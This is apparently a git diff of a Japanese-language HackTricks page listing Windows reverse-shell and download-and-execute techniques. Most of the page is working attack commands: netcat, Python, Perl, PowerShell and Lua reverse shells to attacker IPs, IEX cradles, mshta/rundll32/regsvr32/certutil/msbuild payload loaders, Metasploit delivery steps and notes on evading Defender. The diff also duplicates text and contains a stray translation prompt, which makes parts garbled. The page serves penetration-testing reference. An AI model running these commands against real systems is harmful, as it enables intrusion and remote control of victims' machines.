* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**する。
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
より重要な脆弱性を見つけて、より早く修正する。Intruderはあなたの攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムまで、あなたの全技術スタックにわたる問題を見つけます。今日[**無料で試す**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
最も重要な脆弱性を見つけて修正を迅速化します。Intruder は攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
|
@ -24,16 +24,14 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
## Lolbas
|
||||
|
||||
ページ [lolbas-project.github.io](https://lolbas-project.github.io/) はWindowsにとって、[https://gtfobins.github.io/](https://gtfobins.github.io/) がLinuxにとってのものです。
|
||||
当然ながら、**WindowsにはSUIDファイルやsudo権限はありません**が、いくつかの**バイナリ**がどのようにして予期せぬアクションを実行するために（悪用）使用されるか、例えば**任意のコードを実行する**などを知ることは有用です。
|
||||
|
||||
## NC
|
||||
ページ [lolbas-project.github.io](https://lolbas-project.github.io/) は、Linux向けの [https://gtfobins.github.io/](https://gtfobins.github.io/) と同様に、Windows向けです。\
|
||||
明らかに、**WindowsにはSUIDファイルやsudo権限はありません**が、**いくつかのバイナリ**が**任意のコードを実行する**などの予期しないアクションを実行する方法を知っていると便利です。
|
||||
```bash
|
||||
nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
||||
```
|
||||
## SBD
|
||||
|
||||
**sbd**はNetcatのクローンで、ポータブルで強力な暗号化を提供するように設計されています。Unix系オペレーティングシステムとMicrosoft Win32で動作します。sbdにはAES-CBC-128 + HMAC-SHA1暗号化（Christophe Devineによる）、プログラム実行（-eオプション）、ソースポートの選択、遅延を伴う連続再接続など、いくつかの便利な機能があります。sbdはTCP/IP通信のみをサポートしています。sbd.exe（Kali linuxディストリビューションの一部：/usr/share/windows-resources/sbd/sbd.exe）は、WindowsボックスにNetcatの代替としてアップロードすることができます。
|
||||
**sbd**は、ポータブルで強力な暗号化を提供するよう設計されたNetcatのクローンです。Unix系オペレーティングシステムとMicrosoft Win32で動作します。sbdには、AES-CBC-128 + HMAC-SHA1暗号化（Christophe Devineによる）、プログラムの実行（-eオプション）、ソースポートの選択、遅延を伴う連続再接続、その他いくつかの便利な機能が備わっています。sbdはTCP/IP通信のみをサポートしています。sbd.exe（Kali Linuxディストリビューションの一部：/usr/share/windows-resources/sbd/sbd.exe）は、Netcatの代替としてWindowsボックスにアップロードできます。
|
||||
|
||||
## Python
|
||||
```bash
|
||||
|
|
@ -41,22 +39,26 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perl (Practical Extraction and Reporting Language) は、テキスト処理やシステム管理などのさまざまな用途に使用されるスクリプト言語です。Windows システムで Perl スクリプトを実行するためには、ActivePerl や Strawberry Perl のような Perl インタプリタをインストールする必要があります。Perl スクリプトは、Windows システムでのシェルスクリプトの代替として使用することができます。
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
## ルビー
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## Lua
|
||||
|
||||
Luaは、スクリプト言語であり、多くのプラットフォームで使用されています。Luaは、高い拡張性と柔軟性を持ち、組み込みシステムから大規模なアプリケーションまで幅広い用途に使用されています。Luaは、シンプルで直感的な構文を持ち、C言語との統合が容易です。Luaスクリプトは、さまざまな環境で使用され、多くのアプリケーションで拡張性を提供しています。Luaは、ゲーム開発、Web開発、組み込みシステム、およびその他のさまざまな分野で広く使用されています。
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
## OpenSSH
|
||||
|
||||
攻撃者 (Kali)
|
||||
攻撃者（Kali）
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
|
|
@ -71,50 +73,54 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
|||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
```
|
||||
## Powershell
|
||||
|
||||
PowerShellは、Windowsシステムで広く使用されているスクリプト言語およびシェルフレームワークです。PowerShellを使用すると、システム管理者は効率的にタスクを自動化し、システムの設定や管理を行うことができます。PowerShellは、Windowsの機能を活用してシステムに対する深い制御を提供します。
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
プロセスがネットワークコールを実行：**powershell.exe**\
|
||||
ディスクに書き込まれたペイロード：**いいえ** (_少なくとも、procmonを使用して見つけることはできませんでした！_)
|
||||
ネットワークコールを実行するプロセス: **powershell.exe**\
|
||||
ディスクに書き込まれたペイロード: **NO** (_少なくともprocmonを使用して見つけられる場所にはありません！_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
プロセスがネットワーク呼び出しを実行：**svchost.exe**\
|
||||
ディスクに書き込まれたペイロード：**WebDAVクライアントのローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **svchost.exe**\
|
||||
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
|
||||
|
||||
**ワンライナー：**
|
||||
**ワンライナー:**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
**このドキュメントの最後にあるさまざまなPowershell Shellsに関する詳細情報を入手してください**
|
||||
**このドキュメントの最後にさまざまなPowerShellシェルに関する詳細情報を取得してください**
|
||||
|
||||
## Mshta
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
プロセスがネットワークコールを実行：**mshta.exe**\
|
||||
ディスクに書き込まれたペイロード：**IE ローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **mshta.exe**\
|
||||
ディスクに書き込まれたペイロード: **IEローカルキャッシュ**
|
||||
```bash
|
||||
mshta http://webserver/payload.hta
|
||||
```
|
||||
プロセスがネットワークコールを実行：**mshta.exe**\
|
||||
ディスクに書き込まれたペイロード：**IE ローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **mshta.exe**\
|
||||
ディスクに書き込まれたペイロード: **IEローカルキャッシュ**
|
||||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
プロセスがネットワーク呼び出しを実行: **svchost.exe**\
|
||||
ディスクに書き込まれたペイロード: **WebDAVクライアントのローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **svchost.exe**\
|
||||
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
|
||||
|
||||
#### **hta-pshリバースシェルの例 (htaを使用してPSバックドアをダウンロードして実行)**
|
||||
#### **hta-pshリバースシェルの例（htaを使用してPSバックドアをダウンロードおよび実行）**
|
||||
```markup
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
**Koadicゾンビは、stager htaを使用して非常に簡単にダウンロード＆実行できます**
|
||||
**Koadicゾンビをステージャーhtaを使用して非常に簡単にダウンロードして実行できます**
|
||||
|
||||
#### htaの例
|
||||
|
||||
[**ここから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
|
|
@ -129,9 +135,9 @@ new ActiveXObject('WScript.Shell').Run(c);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
**抜粋元** [**こちら**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
|
||||
#### **mshta - sct**
|
||||
|
||||
[**こちらから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
|
@ -147,9 +153,9 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
**抜粋元** [**こちら**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
#### **Mshta - Metasploit**
|
||||
|
||||
Mshta is a utility in Windows that executes Microsoft HTML Applications (HTA). Metasploit has a module that can be used to execute malicious HTA payloads using mshta.exe. This technique can be used to bypass application whitelisting and execute code on a target system.
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||
|
|
@ -160,25 +166,27 @@ msf exploit(windows/misc/hta_server) > exploit
|
|||
```bash
|
||||
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
|
||||
```
|
||||
**Defenderによって検出された**
|
||||
**Defenderによって検出されました**
|
||||
|
||||
## **Rundll32**
|
||||
|
||||
[**Dll ハローワールド例**](https://github.com/carterjones/hello-world-dll)
|
||||
[**Dll hello worldの例**](https://github.com/carterjones/hello-world-dll)
|
||||
```bash
|
||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```
|
||||
プロセスがネットワーク呼び出しを実行：**svchost.exe**\
|
||||
ディスクに書き込まれたペイロード：**WebDAVクライアントのローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **svchost.exe**\
|
||||
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
|
||||
```bash
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||
```
|
||||
プロセスがネットワーク呼び出しを実行：**rundll32.exe**\
|
||||
ディスクに書き込まれたペイロード：**IE ローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **rundll32.exe**\
|
||||
ディスクに書き込まれたペイロード: **IEローカルキャッシュ**
|
||||
|
||||
**Defenderによって検出されました**
|
||||
**Defenderによって検出**
|
||||
|
||||
**Rundll32 - sct**
|
||||
|
||||
[**ここから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
```bash
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
|
@ -193,8 +201,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
**抜粋元** [**こちら**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
#### **Rundll32 - Metasploit**
|
||||
```bash
|
||||
use windows/smb/smb_delivery
|
||||
|
|
@ -214,17 +220,19 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
|
|||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
プロセスがネットワークコールを実行：**regsvr32.exe**\
|
||||
ディスクに書き込まれたペイロード：**IE ローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **regsvr32.exe**\
|
||||
ディスクに書き込まれたペイロード: **IEローカルキャッシュ**
|
||||
```
|
||||
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
```
|
||||
プロセスがネットワークコールを実行：**svchost.exe**\
|
||||
ディスクに書き込まれたペイロード：**WebDAVクライアントのローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **svchost.exe**\
|
||||
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
|
||||
|
||||
**Defenderによって検出された**
|
||||
**Defenderによって検出**
|
||||
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**ここから**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
|
|
@ -241,8 +249,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</registration>
|
||||
</scriptlet>
|
||||
```
|
||||
**抜粋元** [**こちら**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
|
||||
#### **Regsvr32 - Metasploit**
|
||||
```bash
|
||||
use multi/script/web_delivery
|
||||
|
|
@ -252,7 +258,7 @@ set lhost 10.2.0.5
|
|||
run
|
||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||
```
|
||||
**Koadicゾンビは、stager regsvrを使用して非常に簡単にダウンロード＆実行できます**
|
||||
**Koadicゾンビを非常に簡単にダウンロードして実行できます。ステージャーregsvrを使用します**
|
||||
|
||||
## Certutil
|
||||
|
||||
|
|
@ -266,9 +272,10 @@ certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil
|
|||
```
|
||||
**Defenderによって検出されました**
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
最も重要な脆弱性を見つけて、より早く修正できるようにします。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムまで、技術スタック全体にわたる問題を見つけ出します。今日[**無料でお試し**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)してください。
|
||||
最も重要な脆弱性を見つけて修正できるようにします。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
|
@ -282,14 +289,14 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
|
|||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
||||
```
|
||||
**Defenderによって検出された**
|
||||
**Defenderによって検出されました**
|
||||
|
||||
## PS-Bat
|
||||
```bash
|
||||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
プロセスがネットワーク呼び出しを実行：**svchost.exe**\
|
||||
ディスクに書き込まれたペイロード：**WebDAVクライアントのローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **svchost.exe**\
|
||||
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
impacket-smbserver -smb2support kali `pwd`
|
||||
|
|
@ -298,7 +305,7 @@ impacket-smbserver -smb2support kali `pwd`
|
|||
```bash
|
||||
\\10.8.0.3\kali\shell.bat
|
||||
```
|
||||
**Defenderによって検出された**
|
||||
**Defenderによって検出されました**
|
||||
|
||||
## **MSIExec**
|
||||
|
||||
|
|
@ -311,16 +318,16 @@ python -m SimpleHTTPServer 80
|
|||
```
|
||||
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||
```
|
||||
**検出された**
|
||||
**検出されました**
|
||||
|
||||
## **Wmic**
|
||||
```
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
プロセスがネットワークコールを実行：**wmic.exe**\
|
||||
ディスクに書き込まれたペイロード：**IE ローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **wmic.exe**\
|
||||
ディスクに書き込まれたペイロード: **IEローカルキャッシュ**
|
||||
|
||||
例のxslファイル：
|
||||
例としてxslファイルは[こちら](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)から取得できます。
|
||||
```
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
|
|
@ -332,44 +339,40 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
</ms:script>
|
||||
</stylesheet>
|
||||
```
|
||||
以下は、ハッキング技術に関するハッキングの本からの内容です。関連する英語テキストを日本語に翻訳し、まったく同じマークダウンおよびhtml構文を保持して翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名（Workspace、aws、gcpなど）、'leak'という単語、ペネトレーションテスト、およびマークダウンタグのようなものは翻訳しないでください。また、翻訳とマークダウン構文以外の余分なものは何も追加しないでください。
|
||||
**検出されていません**
|
||||
|
||||
[こちら](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)から抜粋
|
||||
|
||||
**検出されません**
|
||||
|
||||
**stager wmicを使用して、非常に簡単にKoadicゾンビをダウンロード＆実行できます**
|
||||
**ステージャーwmicを使用して、非常に簡単にKoadicゾンビをダウンロードして実行できます**
|
||||
|
||||
## Msbuild
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
ネットワーク呼び出しを行うプロセス：**svchost.exe**\
|
||||
ディスクに書き込まれたペイロード：**WebDAVクライアントローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **svchost.exe**\
|
||||
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
|
||||
|
||||
この技術を使用してアプリケーションホワイトリストとPowershell.exeの制限をバイパスできます。PSシェルがプロンプトされます。\
|
||||
これをダウンロードして実行するだけです：[https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
この技術を使用して、アプリケーションホワイトリストとPowershell.exeの制限をバイパスできます。PSシェルが表示されるようになります。\
|
||||
これをダウンロードして実行してください: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
**検出されていません**
|
||||
**検出されない**
|
||||
|
||||
## **CSC**
|
||||
|
||||
被害者マシンでC#コードをコンパイルします。
|
||||
被害者のマシンでC#コードをコンパイルします。
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
以下は基本的なC#リバースシェルをダウンロードできるリンクです: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
以下から基本的なC#リバースシェルをダウンロードできます：[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**検出されていない**
|
||||
**検出されていません**
|
||||
|
||||
## **Regasm/Regsvc**
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
|
||||
```
|
||||
ネットワーク呼び出しを行うプロセス: **svchost.exe**\
|
||||
ディスクに書き込まれたペイロード: **WebDAVクライアントのローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **svchost.exe**\
|
||||
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
|
||||
|
||||
**試していません**
|
||||
|
||||
|
|
@ -379,8 +382,8 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
|
|||
```
|
||||
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
ネットワークコールを実行するプロセス：**svchost.exe**\
|
||||
ディスクに書き込まれたペイロード：**WebDAVクライアントローカルキャッシュ**
|
||||
ネットワークコールを実行するプロセス: **svchost.exe**\
|
||||
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
|
||||
|
||||
**試していません**
|
||||
|
||||
|
|
@ -392,15 +395,15 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
**Shells** フォルダには、さまざまなシェルがあります。Invoke-_PowerShellTcp.ps1_ をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します：
|
||||
**Shells**フォルダにはさまざまなシェルがあります。Invoke-_PowerShellTcp.ps1_をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
スクリプトをウェブサーバーで提供し始め、被害者の端末で実行します：
|
||||
次の手順に従って、スクリプトをWebサーバーで提供し、被害者の端末で実行します：
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Defenderはそれを悪意のあるコードとして検出していません（まだ、2019年4月3日現在）。
|
||||
Defenderはそれを悪意のあるコードとして検出していません（まだ、2019年3月4日）。
|
||||
|
||||
**TODO: 他のnishangシェルをチェックする**
|
||||
|
||||
|
|
@ -408,15 +411,15 @@ Defenderはそれを悪意のあるコードとして検出していません（
|
|||
|
||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
ダウンロードし、Webサーバーを起動し、リスナーを開始し、被害者の端末で実行します：
|
||||
ダウンロードして、Webサーバーを起動し、リスナーを起動し、被害者の端末で実行します：
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defenderはそれを悪意のあるコードとして検出していません（まだ、2019年3月4日現在）。
|
||||
Defenderはそれを悪意のあるコードとして検出しません（まだ、2019年3月4日）。
|
||||
|
||||
**powercatによって提供される他のオプション：**
|
||||
**powercatによって提供されるその他のオプション:**
|
||||
|
||||
バインドシェル、リバースシェル（TCP、UDP、DNS）、ポートリダイレクト、アップロード/ダウンロード、ペイロード生成、ファイル提供...
|
||||
バインドシェル、リバースシェル（TCP、UDP、DNS）、ポートリダイレクト、アップロード/ダウンロード、ペイロードの生成、ファイルの提供...
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
|
|
@ -437,7 +440,7 @@ powercat -l -p 443 -i C:\inputfile -rep
|
|||
|
||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||
|
||||
Powershellランチャーを作成し、ファイルに保存してダウンロードして実行します。
|
||||
PowerShellランチャーを作成し、ファイルに保存してダウンロードして実行します。
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
|
|
@ -447,25 +450,27 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
|
|||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
Unicornを使用してmetasploitバックドアのpowershellバージョンを作成
|
||||
unicornを使用して、metasploitバックドアのPowerShellバージョンを作成します。
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
